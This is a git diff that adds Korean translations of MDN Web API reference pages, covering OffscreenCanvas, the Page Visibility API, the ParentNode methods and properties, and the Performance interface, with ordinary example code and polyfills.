OffscreenCanvas API를 사용하는 방법은 OffscreenCanvas에 속한 {{domxref("RenderingContext")}}를 이용해 새로운 프레임 객체를 생성하는 것입니다. 새 프레임이 컨텍스트에 렌더링이 되고나면, 가장 최근에 렌더링 된 이미지를 저장하는 {{domxref("OffscreenCanvas.transferToImageBitmap", "transferToImageBitmap()")}} 메소드를 호출할 수 있습니다. 이 메소드는 다른 수 많은 Web API에서 사용되고 있는 {{domxref("ImageBitmap")}} 객체를 리턴합니다.

+ +

ImageBitmap을 화면에 표시하려면, 현재 (화면에 보여지고 있는) 캔버스 요소의 canvas.getContext("bitmaprenderer") 메소드를 호출했을 때 생성되는 {{domxref("ImageBitmapRenderingContext")}} 객체를 사용하면 됩니다. 이 컨텍스트는 캔버스의 내용을 주어진 ImageBitmap으로 전환하는 기능을 제공합니다.  OffscreenCanvas에서 이전에 렌더링이 되어서 등록된 ImageBitmap을 이용한 {{domxref("ImageBitmapRenderingContext.transferFromImageBitmap()")}}을 호출하면 ImageBitmap이 캔버스에 표시되고 소유권 역시 캔버스로 넘어갑니다. 단일 OffscreenCanvas는 프레임들을 임의의 다른 ImageBitmapRenderingContext 객체로 전달합니다.

+ +

아래에 두 개의 {{HTMLElement("canvas")}} 요소가 있습니다.

+ +
<canvas id="one"></canvas>
+<canvas id="two"></canvas>
+ +

다음의 코드는 위에서 설명한 것처럼 OffscreenCanvas를 이용해 렌더링합니다.

+ +
var one = document.getElementById("one").getContext("bitmaprenderer");
+var two = document.getElementById("two").getContext("bitmaprenderer");
+
+var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext('webgl');
+
+// ... gl 컨텍스트를 이용해 첫 번째 캔버스에 무언가를 그립니다 ...
+
+// 첫 번째 캔버스에 렌더링을 수행합니다.
+var bitmapOne = offscreen.transferToImageBitmap();
+one.transferFromImageBitmap(bitmapOne);
+
+// ... gl 컨텍스트를 이용해 두 번째 캔버스에 무언가를 그립니다 ...
+
+// 두 번째 캔버스에 렌더링을 수행합니다.
+var bitmapTwo = offscreen.transferToImageBitmap();
+two.transferFromImageBitmap(bitmapTwo);
+
+ +

OffscreenCanvas 에서 만들어진 프레임을 비동기적으로 화면에 보여주는 방법

+ +

OffscreenCanvas API를 이용하는 또 다른 방법은  worker 또는 메인 스레드위에서 {{HTMLElement("canvas")}} 요소의 {{domxref("HTMLCanvasElement.transferControlToOffscreen", "transferControlToOffscreen()")}}를 호출하는 것입니다. 여기서 메인 스레드는 OffscreenCanvas 객체를 반환하는 {{domxref("HTMLCanvasElement")}} 객체를 가지고 있습니다. {{domxref("OffscreenCanvas.getContext", "getContext()")}}를 호출하면 OffscreenCanvas에서 RenderingContext를 얻을 수 있습니다.

+ +

main.js (메인 스레드 코드):

+ +
var htmlCanvas = document.getElementById("canvas");
+var offscreen = htmlCanvas.transferControlToOffscreen();
+
+var worker = new Worker("offscreencanvas.js");
+worker.postMessage({canvas: offscreen}, [offscreen]);
+
+ +

offscreencanvas.js (worker 코드):

+ +
onmessage = function(evt) {
+  var canvas = evt.data.canvas;
+  var gl = canvas.getContext("webgl");
+
+  // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+};
+
+ +

worker 내에서 requestAnimationFrame 또한 사용할 수 있습니다.

+ +
onmessage = function(evt) {
+  const canvas = evt.data.canvas;
+  const gl = canvas.getContext("webgl");
+
+  function render(time) {
+    // ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+    requestAnimationFrame(render);
+  }
+  requestAnimationFrame(render);
+};
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#the-offscreencanvas-interface", "OffscreenCanvas")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/offscreencanvas/index.html b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html new file mode 100644 index 0000000000..89c6f42062 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/offscreencanvas/index.html @@ -0,0 +1,74 @@ +--- +title: OffscreenCanvas() +slug: Web/API/OffscreenCanvas/OffscreenCanvas +tags: + - API + - Canvas + - Constructor + - Experimental + - OffscreenCanvas + - Reference + - WebGL +translation_of: Web/API/OffscreenCanvas/OffscreenCanvas +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas() 생성자는 새롭게 초기화된 {{domxref("OffscreenCanvas")}} 객체를 반환합니다.

+ +

 

+ +

구문

+ +
new OffscreenCanvas(width, height);
+
+ +

매개 변수

+ +
+
width
+
offscreen 캔버스의 너비
+
height
+
offscreen 캔버스의 높이
+
+ +
+
+ +

예시

+ +

이 예시는 OffscreenCanvas() 생성자를 이용해 새로운 offscreen 캔버스를 생성하고, WebGL 컨텍스트의 {{domxref("OffscreenCanvas.getContext()", "getContext()")}} 메소드를 사용해 초기화합니다.

+ +
let offscreen = new OffscreenCanvas(256, 256);
+let gl = offscreen.getContext('webgl');
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas", "OffscreenCanvas()")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.OffscreenCanvas")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/toblob/index.html b/files/ko/web/api/offscreencanvas/toblob/index.html new file mode 100644 index 0000000000..e57eeecfbb --- /dev/null +++ b/files/ko/web/api/offscreencanvas/toblob/index.html @@ -0,0 +1,77 @@ +--- +title: OffscreenCanvas.convertToBlob() +slug: Web/API/OffscreenCanvas/toBlob +tags: + - API + - Canvas + - Experimental + - Method + - OffscreenCanvas + - Reference +translation_of: Web/API/OffscreenCanvas/toBlob +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

OffscreenCanvas.convertToBlob() 메소드는 캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 생성합니다.

+ +

구문

+ +
Promise<Blob> OffscreenCanvas.convertToBlob(options);
+ +

매개 변수

+ +
+
options {{optional_inline}}
+
+

객체를 {{domxref("Blob")}} 객체로 전환할 때 다양한 옵션을 줄 수 있습니다.

+ +
const blob = offscreenCanvas.convertToBlob({
+  type: "image/jpeg",
+  quality: 0.95
+});
+ +

options:

+ +
    +
  • type: 이미지 포맷을 가리키는 {{domxref("DOMString")}}. 상세 타입은 image/png
  • +
  • quality: type 옵션이 image/jpeg 혹은 image/webp 일 때 이미지의 품질을 가리키는 01사이의 {{jsxref("Number")}}. 이 매개 변수가 다른 값이라면, 이미지 품질의 기본 설정값이 적용됩니다. 다른 매개 변수들은 무시됩니다.
  • +
+
+
+ +

반환 값

+ +

캔버스에 포함된 이미지를 표현하는 {{domxref("Blob")}} 객체를 반환하는 {{jsxref("Promise")}}

+ +

예시

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+
+// ... gl 컨텍스트를 이용해 무언가를 그립니다 ...
+
+offscreen.convertToBlob().then(function(blob) {
+  console.log(blob);
+});
+
+// Blob { size: 334, type: "image/png" }
+ +

상세

+ +

현재 작성되고 있는 중입니다: OffscreenCanvas.

+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.convertToBlob")}}

+
+ +

 

+ +

더 보기

+ + diff --git a/files/ko/web/api/offscreencanvas/width/index.html b/files/ko/web/api/offscreencanvas/width/index.html new file mode 100644 index 0000000000..e7d7440d28 --- /dev/null +++ b/files/ko/web/api/offscreencanvas/width/index.html @@ -0,0 +1,63 @@ +--- +title: OffscreenCanvas.width +slug: Web/API/OffscreenCanvas/width +tags: + - API + - Canvas + - Experimental + - OffscreenCanvas + - Property + - Reference +translation_of: Web/API/OffscreenCanvas/width +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

width 프로퍼티는 {{domxref("OffscreenCanvas")}} 객체에 할당된 너비를 반환합니다.

+ +

구문

+ +
var pxl = offscreen.width;
+offscreen.width = pxl;
+ +
+
+ +

예시

+ +

새로운 offscreen 캔버스를 생성하고 높이를 설정하거나 반환합니다.

+ +
var offscreen = new OffscreenCanvas(256, 256);
+offscreen.width; // 256
+offscreen.width = 512;
+
+ +

상세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#dom-offscreencanvas-width", "OffscreenCanvas.width")}}{{Spec2('HTML WHATWG')}} 
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.OffscreenCanvas.width")}}

+
+ +

더 보기

+ + diff --git a/files/ko/web/api/page_visibility_api/index.html b/files/ko/web/api/page_visibility_api/index.html new file mode 100644 index 0000000000..98d67430e9 --- /dev/null +++ b/files/ko/web/api/page_visibility_api/index.html @@ -0,0 +1,141 @@ +--- +title: Page Visibility API +slug: Web/API/Page_Visibility_API +tags: + - API + - DOM + - Documents + - Tutorials +translation_of: Web/API/Page_Visibility_API +--- +
{{DefaultAPISidebar("Page Visibility API")}}
+ +

Page Visibility API는 웹페이지가 visible 또는 focus 상태인지 당신이 알도록 한다. 탭 브라우징 사용시에, background 에 어떤 웹페이지가 존재하면서 유저에게 보이지 않을 가능성이 있다. 사용자가 웹페이지를 최소화하거나 다른 탭으로 이동했을 때, 이 API 는 페이지의 visibility 를 관찰하는 {{event("visibilitychange")}} 이벤트를 전달한다. 당신은 이벤트를 감지할 수 있고, 어떠한 action 을 수행하거나 다르게 반응할 수 있다. 예를 들어, 당신의 웹 앱이 video 를 재생한다면, 사용자가 다른 브라우저를 보고 있을 때 video 를 pause 하고, 탭으로 돌아왔을 때 다시 재생할 수 있다. 사용자는 video 에서 자신의 위치를 잃지 않고 계속 시청할 수 있다.
+
+ Visibility states of an {{HTMLElement("iframe")}} 의 visibility 상태는 부모 document 와 동일하다. CSS 속성으로 iframe 을 숨기더라도 visibility 이벤트가 트리거되거나 content document 의 상태가 변경되지 않는다.

+ +

Use cases

+ +

몇몇 예시 :

+ + + +

개발자들은 역사적으로 이를 감지하기 위해 불완전한 프록시들을 사용하였었습니다. 예를 들어, window 에 onblur/onfocus 핸들러를 등록록함으로써, 당신의 페이지가 활성화된 페이지가 아닐 때 당신이 알 수 있도록 하였지만, 그것은 당신의 페이지가 사용자에게 숨겨져 있음을 알려주지는 못 합니다. Page Visibility API 는 이를 다룹니다. (window 에 onblur/onfocus 핸들러들을 등록하는 것과 비교하자면, 주요 차이점은 다른 window 가 활성화되고 브라우저 window 가 focus 를 잃을 때 페이지가 숨겨지지 않는다는 점입니다. 페이지는 단지 사용자가 다른 탭으로 전환하거나, 브라우저 window 를 최소화하였을 때 숨겨집니다.)

+ +

Example

+ +

live example 보기 (사운드를 가진 video).
+
+ 당신이 다른 tab 으로 이동했을 때 video 를 일시 정지하는, 다음의 코드로 구현되어 있는 예시 :

+ +
// Set the name of the hidden property and the change event for visibility
+var hidden, visibilityChange;
+if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support
+  hidden = "hidden";
+  visibilityChange = "visibilitychange";
+} else if (typeof document.msHidden !== "undefined") {
+  hidden = "msHidden";
+  visibilityChange = "msvisibilitychange";
+} else if (typeof document.webkitHidden !== "undefined") {
+  hidden = "webkitHidden";
+  visibilityChange = "webkitvisibilitychange";
+}
+
+var videoElement = document.getElementById("videoElement");
+
+// If the page is hidden, pause the video;
+// if the page is shown, play the video
+function handleVisibilityChange() {
+  if (document[hidden]) {
+    videoElement.pause();
+  } else {
+    videoElement.play();
+  }
+}
+
+// Warn if the browser doesn't support addEventListener or the Page Visibility API
+if (typeof document.addEventListener === "undefined" || typeof document[hidden] === "undefined") {
+  console.log("This demo requires a browser, such as Google Chrome or Firefox, that supports the Page Visibility API.");
+} else {
+  // Handle page visibility change
+  document.addEventListener(visibilityChange, handleVisibilityChange, false);
+
+  // When the video pauses, set the title.
+  // This shows the paused
+  videoElement.addEventListener("pause", function(){
+    document.title = 'Paused';
+  }, false);
+
+  // When the video plays, set the title.
+  videoElement.addEventListener("play", function(){
+    document.title = 'Playing';
+  }, false);
+
+}
+
+ +

Properties overview

+ +

document.hidden Read only

+ +

페이지가 사용자에게 보이지 않는 것으로 간주되는 상태일 경우 true 를 반환하고, 그렇지 않을 경우 false 를 반환한다.

+ +

document.visibilityState Read only

+ +

는 document 의 visibility 상태를 나타내는 string. 가능한 values:

+ + + +
//startSimulation and pauseSimulation defined elsewhere
+function handleVisibilityChange() {
+  if (document.hidden) {
+    pauseSimulation();
+  } else  {
+    startSimulation();
+  }
+}
+
+document.addEventListener("visibilitychange", handleVisibilityChange, false);
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.visibilityState")}}

+ +

See also

+ + diff --git a/files/ko/web/api/parentnode/append/index.html b/files/ko/web/api/parentnode/append/index.html new file mode 100644 index 0000000000..1c9496b65b --- /dev/null +++ b/files/ko/web/api/parentnode/append/index.html @@ -0,0 +1,134 @@ +--- +title: ParentNode.append() +slug: Web/API/ParentNode/append +translation_of: Web/API/ParentNode/append +--- +
{{APIRef("DOM")}}
+ +

ParentNode.append() 메서드는 ParentNode의 마지막 자식 뒤에 {{domxref("Node")}} 객체 또는 {{domxref("DOMString")}} 객체를 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드처럼 삽입한다.

+ +

{{domxref("Node.appendChild()")}}와 다른 점:

+ + + +

문법

+ +
[Throws, Unscopable]
+void ParentNode.append((Node or DOMString)... nodes);
+
+ +

매개 변수

+ +
+
nodes
+
삽입하려고 하는 {{domxref("Node")}} 객체 집합 또는 {{domxref("DOMString")}} 객체 집합.
+
+ +

예외

+ + + +

예제

+ +

요소(element) 추가하기

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ <p> ]
+
+ +

문자(text) 추가하기

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"
+ +

요소(element)와 문자(text) 함께 추가하기

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.append() 범위 지정 불가

+ +

append() 메소드는 with 문으로 범위를 지정하지 않는다. 더 자세한 내용은 {{jsxref("Symbol.unscopables")}} 참고.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined 
+ +

대체 구현

+ +

다음 코드를 이용하면 인터넷 익스플로러 9 이상에서 append() method를 대체하여 구현할 수 있다.

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

명세

+ + + + + + + + + + + + + + +
명세상태참고
{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}{{Spec2('DOM WHATWG')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode.append")}}

+ +

참고

+ + diff --git a/files/ko/web/api/parentnode/childelementcount/index.html b/files/ko/web/api/parentnode/childelementcount/index.html new file mode 100644 index 0000000000..665c417512 --- /dev/null +++ b/files/ko/web/api/parentnode/childelementcount/index.html @@ -0,0 +1,97 @@ +--- +title: ParentNode.childElementCount +slug: Web/API/ParentNode/childElementCount +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/childElementCount +--- +
{{ APIRef("DOM") }}
+ +

ParentNode.childElementCount 읽기 전용 속성은 주어진 요소의 자식 요소 개수를 unsigned long 타입으로 반환합니다.

+ +
+

이 속성은 처음에 {{domxref("ElementTraversal")}} 인터페이스에 정의되었습니다. 이 인터페이스는 자식이 있는 {{domxref("Node")}}와 자식 {{domxref("Node")}}를 위한 두 가지 고유한 속성 집합을 포함하고 있었는데, 각각 {{domxref("ParentNode")}}와 {{domxref("ChildNode")}} 개별 인터페이스로 이동되었습니다. childElementCount의 경우 {{domxref("ParentNode")}}로 이동했습니다. 이것은 기술적인 변화로 호환성에는 영향을 미치지 않습니다.

+
+ +

문법

+ +
var count = node.childElementCount;
+
+ +
+
count
+
unsigned long(정수) 타입의 반환값.
+
node
+
{{domxref("Document")}}, {{domxref("DocumentFragment")}} 또는 {{domxref("Element")}} 객체.
+
+ +

예제

+ +
var foo = document.getElementById('foo');
+if (foo.childElementCount > 0) {
+  // Do something
+}
+
+ +

폴리필 (IE8 & IE9 & Safari)

+ +

이 속성은 IE9 이전 버전에서는 지원하지 않습니다. IE9과 Safari는 Document와 DocumentFragment 객체에서 이 속성을 지원하지 않습니다.

+ +
;(function(constructor) {
+  if (constructor &&
+      constructor.prototype &&
+      constructor.prototype.childElementCount == null) {
+    Object.defineProperty(constructor.prototype, 'childElementCount', {
+      get: function() {
+        var i = 0, count = 0, node, nodes = this.childNodes;
+        while (node = nodes[i++]) {
+          if (node.nodeType === 1) count++;
+        }
+        return count;
+      }
+    });
+  }
+})(window.Node || window.Element);
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
표준상태비고
{{SpecName('DOM WHATWG', '#dom-parentnode-childelementcount', 'ParentNode.childElementCount')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode.childElementCount")}}

+ +

참조

+ + diff --git a/files/ko/web/api/parentnode/children/index.html b/files/ko/web/api/parentnode/children/index.html new file mode 100644 index 0000000000..264fb25956 --- /dev/null +++ b/files/ko/web/api/parentnode/children/index.html @@ -0,0 +1,85 @@ +--- +title: ParentNode.children +slug: Web/API/ParentNode/children +translation_of: Web/API/ParentNode/children +--- +
{{ APIRef("DOM") }}
+ +

{{domxref("ParentNode")}}의 속성 children은 호출된 요소의 모든 자식 노드의 {{domxref("Element","elements")}}를 담고있는 실시간 {{domxref("HTMLCollection")}}을 반환합니다.

+ +

Syntax 

+ +
var children = node.children;
+ +

Value

+ +

실시간이며, node의 자식 DOM 요소들의 정렬된 컬렉션인 {{ domxref("HTMLCollection") }}. 각 자식 요소를 컬렉션 안에서 접근하기 위해서 {{domxref("HTMLCollection.item", "item()")}} 메소드를 이용하거나 Javascript 배열 스타일의 문법을 사용할 수 있습니다.

+ +

만약 노드가 자식요소를 갖고 있지 않나면, children은 0의 length를 가진 빈 리스트 일 것입니다.

+ +

Example

+ +
var foo = document.getElementById('foo');
+for (var i = 0; i < foo.children.length; i++) {
+    console.log(foo.children[i].tagName);
+}
+
+ +

Polyfill

+ +
// Overwrites native 'children' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.children == null) {
+        Object.defineProperty(constructor.prototype, 'children', {
+            get: function() {
+                var i = 0, node, nodes = this.childNodes, children = [];
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        children.push(node);
+                    }
+                }
+                return children;
+            }
+        });
+    }
+})(window.Node || window.Element);
+
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ParentNode.children")}}

+ +

See also

+ + diff --git a/files/ko/web/api/parentnode/index.html b/files/ko/web/api/parentnode/index.html new file mode 100644 index 0000000000..39502f3625 --- /dev/null +++ b/files/ko/web/api/parentnode/index.html @@ -0,0 +1,80 @@ +--- +title: ParentNode +slug: Web/API/ParentNode +tags: + - API + - DOM + - Mixin + - Node + - ParentNode + - Reference +translation_of: Web/API/ParentNode +--- +
{{APIRef("DOM")}}
+ +

ParentNode 믹스인mixin은 자식을 가질 수 있는 모든 종류의 {{domxref("Node")}} 객체가 공통으로 가지는 메서드와 속성을 가집니다. {{domxref("Element")}}, {{domxref("Document")}}, {{domxref("DocumentFragment")}} 객체가 구현합니다.

+ +

선택자로 DOM 요소 선택하기 문서를 참고하여 CSS 선택자로 원하는 노드나 요소를 선택하는 법을 알아보세요.

+ +

속성

+ +
+
{{domxref("ParentNode.childElementCount")}} {{readonlyInline}}
+
ParentNode가 가진 자식 중 요소의 수를 반환합니다.
+
{{domxref("ParentNode.children")}} {{readonlyInline}}
+
ParentNode가 가진 모든 자식 중 요소만 모은 {{domxref("HTMLCollection")}}을 반환합니다.
+
{{domxref("ParentNode.firstElementChild")}} {{readonlyInline}}
+
ParentNode의 자식이자 {{jsxref("Element")}}인 객체 중 첫 번째를 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.
+
{{domxref("ParentNode.lastElementChild")}} {{readonlyInline}}
+
ParentNode의 자식이자 {{jsxref("Element")}}인 객체 중 마지막을 반환합니다. 만족하는 자식이 없으면 {{jsxref("null")}}을 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("ParentNode.append()")}} {{experimental_inline}}
+
ParentNode의 마지막 자식 다음에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. DOMString 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.
+
{{domxref("ParentNode.prepend()")}} {{experimental_inline}}
+
ParentNode의 첫 번째 자식 이전에, 주어진 {{domxref("Node")}}나 {{domxref("DOMString")}} 객체를 삽입합니다. DOMString 객체는 동등한 {{domxref("Text")}}처럼 취급합니다.
+
{{domxref("ParentNode.querySelector()")}}
+
현재 ParentNode를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 첫 번째 {{domxref("Element")}}를 반환합니다.
+
{{domxref("ParentNode.querySelectorAll()")}}
+
현재 ParentNode를 기준으로, 하위 요소 중 주어진 선택자를 만족하는 모든 요소의 {{domxref("NodeList")}}를 반환합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}{{Spec2('DOM WHATWG')}}Split the ElementTraversal interface into {{domxref("ChildNode")}} and {{domxref("ParentNode")}}. The {{domxref("ParentNode.firstElementChild")}}, {{domxref("ParentNode.lastElementChild")}}, and {{domxref("ParentNode.childElementCount")}} properties are now defined on the latter. Added the {{domxref("ParentNode.children")}} property, and the {{domxref("ParentNode.querySelector()")}}, {{domxref("ParentNode.querySelectorAll()")}}, {{domxref("ParentNode.append()")}}, and {{domxref("ParentNode.prepend()")}} methods.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}{{Spec2('Element Traversal')}}Added the initial definition of its properties to the ElementTraversal pure interface and used it on {{domxref("Element")}}.
+ +

브라우저 호환성

+ + + +

{{Compat("api.ParentNode")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/parentnode/prepend/index.html b/files/ko/web/api/parentnode/prepend/index.html new file mode 100644 index 0000000000..1877529adc --- /dev/null +++ b/files/ko/web/api/parentnode/prepend/index.html @@ -0,0 +1,133 @@ +--- +title: ParentNode.prepend() +slug: Web/API/ParentNode/prepend +translation_of: Web/API/ParentNode/prepend +--- +
{{APIRef("DOM")}}
+ +

ParentNode.prepend() 메소드는 {{domxref("Node")}} 객체 또는{{domxref("DOMString")}} 객체를 {{domxref("ParentNode")}}의 첫 자식노드 앞에 삽입한다. {{domxref("DOMString")}} 객체는 {{domxref("Text")}} 노드와 동일하게 삽입된다.

+ +

Syntax

+ +
ParentNode.prepend(...nodesToPrepend);
+
+ +

Parameters

+ +
+
nodesToPrepend
+
One or more nodes to insert before the first child node currently in the ParentNode. Each node can be specified as either a {{domxref("Node")}} object or as a string; strings are inserted as new {{domxref("Text")}} nodes.
+
+ +

Return value

+ +

undefined.

+ +

Exceptions

+ + + +

Examples

+ +

Prepending an element

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ <span>, <p> ]
+
+ +

Prepending text

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"
+ +

Appending an element and text

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.prepend() is unscopable

+ +

The prepend() method is not scoped into the with statement. See {{jsxref("Symbol.unscopables")}} for more information.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined 
+ +

Polyfill

+ +

You can polyfill the prepend() method if it's not available:

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.ParentNode.prepend")}}

+ +

See also

+ + diff --git a/files/ko/web/api/performance/index.html b/files/ko/web/api/performance/index.html new file mode 100644 index 0000000000..28e3a63c06 --- /dev/null +++ b/files/ko/web/api/performance/index.html @@ -0,0 +1,138 @@ +--- +title: Performance +slug: Web/API/Performance +tags: + - API + - Interface + - Navigation Timing + - NeedsTranslation + - Performance + - Reference + - TopicStub + - Web Performance +translation_of: Web/API/Performance +--- +
{{APIRef("High Resolution Time")}}
+ +

The Performance interface represents timing-related performance information for the given page.

+ +

An object of this type can be obtained by calling the {{domxref("Window.performance")}} read-only attribute.

+ +
+

Note: This interface and its members are available in Web Workers, except where indicated below. Note that some available parts of the interface are not yet documented (see the Performance Timeline and User Timing specs for more details.) Also note that performance markers and measures are per context. If you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and vice versa.

+
+ +

Properties

+ +

The Performance interface doesn't inherit any properties.

+ +
+
{{domxref("Performance.navigation")}} {{readonlyInline}}
+
Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource. Not available in workers.
+
{{domxref("Performance.onframetimingbufferfull")}}
+
TBD
+
{{domxref("Performance.onresourcetimingbufferfull")}}
+
Is an {{domxref("EventTarget")}} which is a callback that will be called when the {{event("resourcetimingbufferfull")}} event is fired.
+
{{domxref("Performance.timing")}} {{readonlyInline}}
+
Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information. Not available in workers.
+
+ +

Methods

+ +

The Performance interface doesn't inherit any method.

+ +
+
{{domxref("Performance.clearFrameTimings()")}}
+
TBD
+
{{domxref("Performance.clearMarks()")}}
+
Removes the given mark from the browser's performance entry buffer.
+
{{domxref("Performance.clearMeasures()")}}
+
Removes the given measure from the browser's performance entry buffer.
+
{{domxref("Performance.clearResourceTimings()")}}
+
Removes all {{domxref("PerformanceEntry","performance entries")}} with a {{domxref("PerformanceEntry.entryType","entryType")}} of "resource" from the browser's performance data buffer.
+
{{domxref("Performance.getEntries()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects based on the given filter.
+
{{domxref("Performance.getEntriesByName()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects based on the given name and entry type.
+
{{domxref("Performance.getEntriesByType()")}}
+
Returns a list of {{domxref("PerformanceEntry")}} objects of the given entry type.
+
{{domxref("Performance.mark()")}}
+
Creates a {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer with the given name.
+
{{domxref("Performance.measure()")}}
+
Creates a named {{domxref("DOMHighResTimeStamp","timestamp")}} in the browser's performance entry buffer between two specified marks (known as the start mark and end mark, respectively).
+
{{domxref("Performance.now()")}}
+
Returns a {{domxref("DOMHighResTimeStamp")}} representing the amount of milliseconds elapsed since a reference instant.
+
{{domxref("Performance.setFrameTimingBufferSize()")}}
+
TBD
+
{{domxref("Performance.setResourceTimingBufferSize()")}}
+
Sets the browser's resource timing buffer size to the specified number of "resource" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} objects.
+
{{domxref("Performance.toJSON()")}}
+
Is a jsonizer returning a json object representing the Performance object.
+
+ +

Specifications

